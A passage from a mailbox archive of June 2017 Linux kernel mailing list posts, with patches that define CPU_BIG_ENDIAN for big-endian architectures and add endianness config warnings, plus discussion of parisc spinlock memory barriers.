+	&dev_attr_rev.attr,
+	&dev_attr_hversion.attr,
+	&dev_attr_sversion.attr,
+	&dev_attr_modalias.attr,
+	NULL,
 };
+ATTRIBUTE_GROUPS(parisc_device);
 
 struct bus_type parisc_bus_type = {
 	.name = "parisc",
 	.match = parisc_generic_match,
 	.uevent = parisc_uevent,
-	.dev_attrs = parisc_device_attrs,
+	.dev_groups = parisc_device_groups,
 	.probe = parisc_driver_probe,
 	.remove = parisc_driver_remove,
 };
-- 
2.13.1


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [RFC][PATCH] atomic: Fix atomic_set_release() for 'funny'
 architectures
Date: Fri, 09 Jun 2017 11:58:46 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <1497034726.3510.7.camel@HansenPartnership.com>
References: <20170609092450.jwmldgtli57ozxgq@hirez.programming.kicks-ass.net>
         <20170609110506.yod47flaav3wgoj5@hirez.programming.kicks-ass.net>
         <20170609111305.bn4ca4uscbp6pgxn@hirez.programming.kicks-ass.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497034733 28097 195.159.176.226 (9 Jun 2017 18:58:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 18:58:53 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Ingo Molnar <mingo@kernel.org>,
        Thomas Gleixner <tglx@linutronix.de>, vgupta@synopsys.com,
        rkuo@codeaurora.org, james.hogan@imgtec.com, jejb@parisc-linux.org,
        davem@davemloft.net, cmetcalf@mellanox.com,
        Parisc List <linux-parisc@vger.kernel.org>
To: Peter Zijlstra <peterz@infradead.org>,
        Will Deacon <will.deacon@arm.com>,
        Paul McKenney <paulmck@linux.vnet.ibm.com>,
        Boqun Feng <boqun.feng@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 09 20:58:48 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dJP7O-0003NR-IL
	for glpp-linux-parisc@m.gmane.org; Fri, 09 Jun 2017 20:58:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751572AbdFIS6w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 9 Jun 2017 14:58:52 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57558 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1751538AbdFIS6v (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 9 Jun 2017 14:58:51 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7DFE28EE0CF;
        Fri,  9 Jun 2017 11:58:49 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id S_HCJEMIW-mk; Fri,  9 Jun 2017 11:58:49 -0700 (PDT)
Original-Received: from [153.66.254.194] (unknown [50.35.65.221])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 411458EE078;
        Fri,  9 Jun 2017 11:58:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1497034729;
        bh=+rI00YaVLxStev9Gy4It3Lji8wqvproXbt38+4J08Pw=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=u/eRabNeekmpO+HrQRTdfwvoinEiUQNgoPees6594qDFdI1MpwxPLraWqZcCSpQ6K
         qf11m6pvLYNytUG/Jth0pp7E9cLDK91TZ1cNYvESdA9n098dstcIoQAb4Hg8wNbM2v
         BPJNFvkvK/WQhAybK1KfFEoDF6hyI/Op6fHwAPTk=
In-Reply-To: <20170609111305.bn4ca4uscbp6pgxn@hirez.programming.kicks-ass.net>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27490 gmane.linux.kernel:2497194
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27490>

[adding parisc list]
On Fri, 2017-06-09 at 13:13 +0200, Peter Zijlstra wrote:
> On Fri, Jun 09, 2017 at 01:05:06PM +0200, Peter Zijlstra wrote:
> 
> > The spinlock based atomics should be SC, that is, none of them
> > appear to
> > place extra barriers in atomic_cmpxchg() or any of the other SC
> > atomic
> > primitives and therefore seem to rely on their spinlock
> > implementation
> > being SC (I did not fully validate all that).
> 
> So I did see that ARC and PARISC have 'superfluous' smp_mb() calls
> around their spinlock implementation.
> 
> That is, for spinlock semantics you only need one _after_ lock and 
> one _before_ unlock. But the atomic stuff relies on being SC and thus
> would need one before and after both lock and unlock.

Actually, for us that's not true.  You are correct in the above for
safety but not for performance: If we remove the safety unnecessary
barriers, it can elongate our critical sections (the spinlock can move
up in the code stream and the spin unlock can move down) which leads to
performance regressions because we end up holding locks longer than we
need (we also have a lot of hot locks).

> Now, afaict PARISC doesn't even have memory barriers (it uses
> asm-generic/barrier.h) so that's a bit of a puzzle.

We disable relaxed ordering on our architecture which means the CPU
issue stream must match the instruction stream.  We've debated turning
on relaxed ordering, but decided it was more hassle than it's worth.

James


> But ARC could probably optimize (if they still care about that 
> hardware) by pulling out those barriers and putting it in the atomic
> implementation.
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc
Subject: [PATCH v2 0/2] Define CPU_BIG_ENDIAN or warn for inconsistencies
Date: Fri,  9 Jun 2017 12:48:05 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <1497037687-107638-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1497037786 21497 195.159.176.226 (9 Jun 2017 19:49:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 19:49:46 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, viro@zeniv.linux.org.uk
Original-X-From: sparclinux-owner@vger.kernel.org Fri Jun 09 21:49:39 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1dJPuc-0006kg-KU
	for lnx-sparclinux@m.gmane.org; Fri, 09 Jun 2017 21:49:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751712AbdFITtn (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 9 Jun 2017 15:49:43 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:33508 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751639AbdFITtm (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 9 Jun 2017 15:49:42 -0400
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v59JmJTT021020
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Fri, 9 Jun 2017 19:48:21 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id v59JmJuM029506
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Fri, 9 Jun 2017 19:48:19 GMT
Original-Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16])
        by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id v59JmDRQ026865;
        Fri, 9 Jun 2017 19:48:13 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Fri, 09 Jun 2017 12:48:13 -0700
X-Mailer: git-send-email 1.7.1
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:25492 gmane.linux.kernel:2497213 gmane.linux.ports.m68k:9367 gmane.linux.ports.parisc:27491
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/25492>

Found this problem while enabling queued rwlock on SPARC.
The parameter CONFIG_CPU_BIG_ENDIAN is used to clear the
specific byte in qrwlock structure. Without this parameter,
we clear the wrong byte.
Here is the code in include/asm-generic/qrwlock.h

static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
  {
         return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
  }

Also found few more references of this parameter in
drivers/of/base.c
drivers/of/fdt.c
drivers/tty/serial/earlycon.c
drivers/tty/serial/serial_core.c

Here is our previous discussion.
https://lkml.org/lkml/2017/5/24/620

Based on the discussion, it was decided to add CONFIG_CPU_BIG_ENDIAN
for all the fixed big endian architecture(frv, h8300, m68k, openrisc,
parisc and sparc). And warn if there are inconsistencies in this definition.

v1 -> v2:
 Updated the commit messages and acks.

Babu Moger (2):
  arch: Define CPU_BIG_ENDIAN for all fixed big endian archs
  include: warn for inconsistent endian config definition

 arch/frv/Kconfig                        |    3 +++
 arch/h8300/Kconfig                      |    3 +++
 arch/m68k/Kconfig                       |    3 +++
 arch/openrisc/Kconfig                   |    3 +++
 arch/parisc/Kconfig                     |    3 +++
 arch/sparc/Kconfig                      |    3 +++
 include/linux/byteorder/big_endian.h    |    4 ++++
 include/linux/byteorder/little_endian.h |    4 ++++
 8 files changed, 26 insertions(+), 0 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v2 1/2] arch: Define CPU_BIG_ENDIAN for all fixed big endian archs
Date: Fri,  9 Jun 2017 12:48:06 -0700
Lines: 125
Approved: news@gmane.org
Message-ID: <1497037687-107638-2-git-send-email-babu.moger@oracle.com>
References: <1497037687-107638-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1497037807 25312 195.159.176.226 (9 Jun 2017 19:50:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 19:50:07 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, viro@zeniv.linux.org.uk
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jun 09 21:50:01 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1dJPux-0006AK-1G
	for glpm-linux-m68k@m.gmane.org; Fri, 09 Jun 2017 21:49:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751812AbdFITt5 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 9 Jun 2017 15:49:57 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:41536 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751639AbdFITtz (ORCPT
        <rfc822;linux-m68k@vger.kernel.org>); Fri, 9 Jun 2017 15:49:55 -0400
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v59JmK4h001476
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Fri, 9 Jun 2017 19:48:21 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v59JmJHC027824
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Fri, 9 Jun 2017 19:48:19 GMT
Original-Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16])
        by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id v59JmEho026874;
        Fri, 9 Jun 2017 19:48:14 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Fri, 09 Jun 2017 12:48:14 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1497037687-107638-1-git-send-email-babu.moger@oracle.com>
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9368 gmane.linux.kernel:2497214 gmane.linux.ports.parisc:27492 gmane.linux.ports.sparc:25493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9368>

While working on enabling queued rwlock on SPARC, found
this following code in include/asm-generic/qrwlock.h
which uses CONFIG_CPU_BIG_ENDIAN to clear a byte.

static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
 {
	return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
 }

Problem is many of the fixed big endian architectures don't define
CPU_BIG_ENDIAN and clears the wrong byte.

Define CPU_BIG_ENDIAN for all the fixed big endian architecture to fix it.

Also found few more references of this config parameter in
drivers/of/base.c
drivers/of/fdt.c
drivers/tty/serial/earlycon.c
drivers/tty/serial/serial_core.c
Be aware that this may cause regressions if someone has worked-around
problems in the above code already. Remove the work-around.

Here is our original discussion
https://lkml.org/lkml/2017/5/24/620

Signed-off-by: Babu Moger <babu.moger@oracle.com>
Suggested-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
Acked-by: David S. Miller <davem@davemloft.net>
---
 arch/frv/Kconfig      |    3 +++
 arch/h8300/Kconfig    |    3 +++
 arch/m68k/Kconfig     |    3 +++
 arch/openrisc/Kconfig |    3 +++
 arch/parisc/Kconfig   |    3 +++
 arch/sparc/Kconfig    |    3 +++
 6 files changed, 18 insertions(+), 0 deletions(-)

diff --git a/arch/frv/Kconfig b/arch/frv/Kconfig
index eefd9a4..1cce824 100644
--- a/arch/frv/Kconfig
+++ b/arch/frv/Kconfig
@@ -17,6 +17,9 @@ config FRV
 	select HAVE_DEBUG_STACKOVERFLOW
 	select ARCH_NO_COHERENT_DMA_MMAP
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config ZONE_DMA
 	bool
 	default y
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 3ae8525..5380ac8 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -23,6 +23,9 @@ config H8300
 	select HAVE_ARCH_HASH
 	select CPU_NO_EFFICIENT_FFS
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config RWSEM_GENERIC_SPINLOCK
 	def_bool y
 
diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index d140206..029a58b 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -23,6 +23,9 @@ config M68K
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config RWSEM_GENERIC_SPINLOCK
 	bool
 	default y
diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index 1e95920..a0f2e4a 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -29,6 +29,9 @@ config OPENRISC
 	select CPU_NO_EFFICIENT_FFS if !OPENRISC_HAVE_INST_FF1
 	select NO_BOOTMEM
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config MMU
 	def_bool y
 
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 531da9e..dda1f55 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -47,6 +47,9 @@ config PARISC
 	  and later HP3000 series).  The PA-RISC Linux project home page is
 	  at <http://www.parisc-linux.org/>.
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config MMU
 	def_bool y
 
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 58243b0..eb213b5 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -92,6 +92,9 @@ config ARCH_DEFCONFIG
 config ARCH_PROC_KCORE_TEXT
 	def_bool y
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config ARCH_ATU
 	bool
 	default y if SPARC64
-- 
1.7.1


From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v2 2/2] include: warn for inconsistent endian config definition
Date: Fri,  9 Jun 2017 12:48:07 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <1497037687-107638-3-git-send-email-babu.moger@oracle.com>
References: <1497037687-107638-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1497037809 25756 195.159.176.226 (9 Jun 2017 19:50:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 19:50:09 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, viro@zeniv.linux.org.uk
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 09 21:50:02 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dJPuy-0006AK-0P
	for glk-linux-kernel-3@m.gmane.org; Fri, 09 Jun 2017 21:50:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751858AbdFITuA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 9 Jun 2017 15:50:00 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:33601 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751762AbdFITt4 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 9 Jun 2017 15:49:56 -0400
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v59JmLd6021073
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Fri, 9 Jun 2017 19:48:21 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v59JmJkN027823
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Fri, 9 Jun 2017 19:48:19 GMT
Original-Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v59JmFeM024835;
        Fri, 9 Jun 2017 19:48:15 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Fri, 09 Jun 2017 12:48:15 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1497037687-107638-1-git-send-email-babu.moger@oracle.com>
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2497215 gmane.linux.ports.m68k:9369 gmane.linux.ports.parisc:27493 gmane.linux.ports.sparc:25494
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2497215>

We have seen some generic code use config parameter CONFIG_CPU_BIG_ENDIAN
to decide the endianness.

Here are the few examples.
include/asm-generic/qrwlock.h
drivers/of/base.c
drivers/of/fdt.c
drivers/tty/serial/earlycon.c
drivers/tty/serial/serial_core.c

Display warning if CPU_BIG_ENDIAN is not defined on big endian
architecture and also warn if it defined on little endian architectures.

Here is our original discussion
https://lkml.org/lkml/2017/5/24/620

Signed-off-by: Babu Moger <babu.moger@oracle.com>
Suggested-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
 include/linux/byteorder/big_endian.h    |    4 ++++
 include/linux/byteorder/little_endian.h |    4 ++++
 2 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/include/linux/byteorder/big_endian.h b/include/linux/byteorder/big_endian.h
index 3920414..ffd2159 100644
--- a/include/linux/byteorder/big_endian.h
+++ b/include/linux/byteorder/big_endian.h
@@ -3,5 +3,9 @@
 
 #include <uapi/linux/byteorder/big_endian.h>
 
+#ifndef CONFIG_CPU_BIG_ENDIAN
+#warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
+#endif
+
 #include <linux/byteorder/generic.h>
 #endif /* _LINUX_BYTEORDER_BIG_ENDIAN_H */
diff --git a/include/linux/byteorder/little_endian.h b/include/linux/byteorder/little_endian.h
index 0805737..ba910bb 100644
--- a/include/linux/byteorder/little_endian.h
+++ b/include/linux/byteorder/little_endian.h
@@ -3,5 +3,9 @@
 
 #include <uapi/linux/byteorder/little_endian.h>
 
+#ifdef CONFIG_CPU_BIG_ENDIAN
+#warning inconsistent configuration, CONFIG_CPU_BIG_ENDIAN is set
+#endif
+
 #include <linux/byteorder/generic.h>
 #endif /* _LINUX_BYTEORDER_LITTLE_ENDIAN_H */
-- 
1.7.1



From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.samsung-soc,gmane.linux.uml.devel,gmane.linux.ports.alpha,gmane.linux.uml.user,gmane.linux.ports.arm.omap,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCH 00/35] defconfig: Cleanup from old entries
Date: Fri, 9 Jun 2017 21:59:48 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <CAK8P3a3bUeC3H2oNfdBedVY4UTCe8OgKbWmv46d5xfu8tC7tAg@mail.gmail.com>
References: <20170608160836.12196-1-krzk@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497038426 12736 195.159.176.226 (9 Jun 2017 20:00:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 20:00:26 +0000 (UTC)
Cc: "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Rich Felker <dalias@libc.org>, Aurelien Jacquiot <a-jacquiot@ti.com>,
 Tony Lindgren <tony@atomide.com>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Liviu Dudau <liviu.dudau@arm.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 David Howells <dhowells@redhat.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 linux-hexagon@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
 Thomas Gleixner <tglx@linutronix.de>, Lennox Wu <lennox.wu@gmail.com>,
 Jonas Bonn <jonas@southpole.se>, Chen Liqin <liqin.linux@gmail.com>,
 Jesper Nilsson <jesper.nilsson@axis.com>,
 Lorenzo Pieralisi <lorenzo.pieralisi@arm.com>, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Aaro Koskinen <aaro.koskinen@iki.fi>, linux-sh@vger.kernel.org
To: Krzysztof Kozlowski <krzk@kernel.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Jun 09 22:00:11 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1dJQ4n-0002aa-I3
	for gla-linux-snps-arc@m.gmane.org; Fri, 09 Jun 2017 22:00:09 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	References:In-Reply-To:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=bOvgh01oFYvTEqrdbLtQyFqtzIFSF4y33zFpXIJixNo=; b=H5LdCq38whACiN
	+1yujwN/NhQUqakrevnYlHBuK+7w2qSmu/+UNo0/7CpZQRPbNsTdtf75IPx3vG/xengDbWTzkE7T1
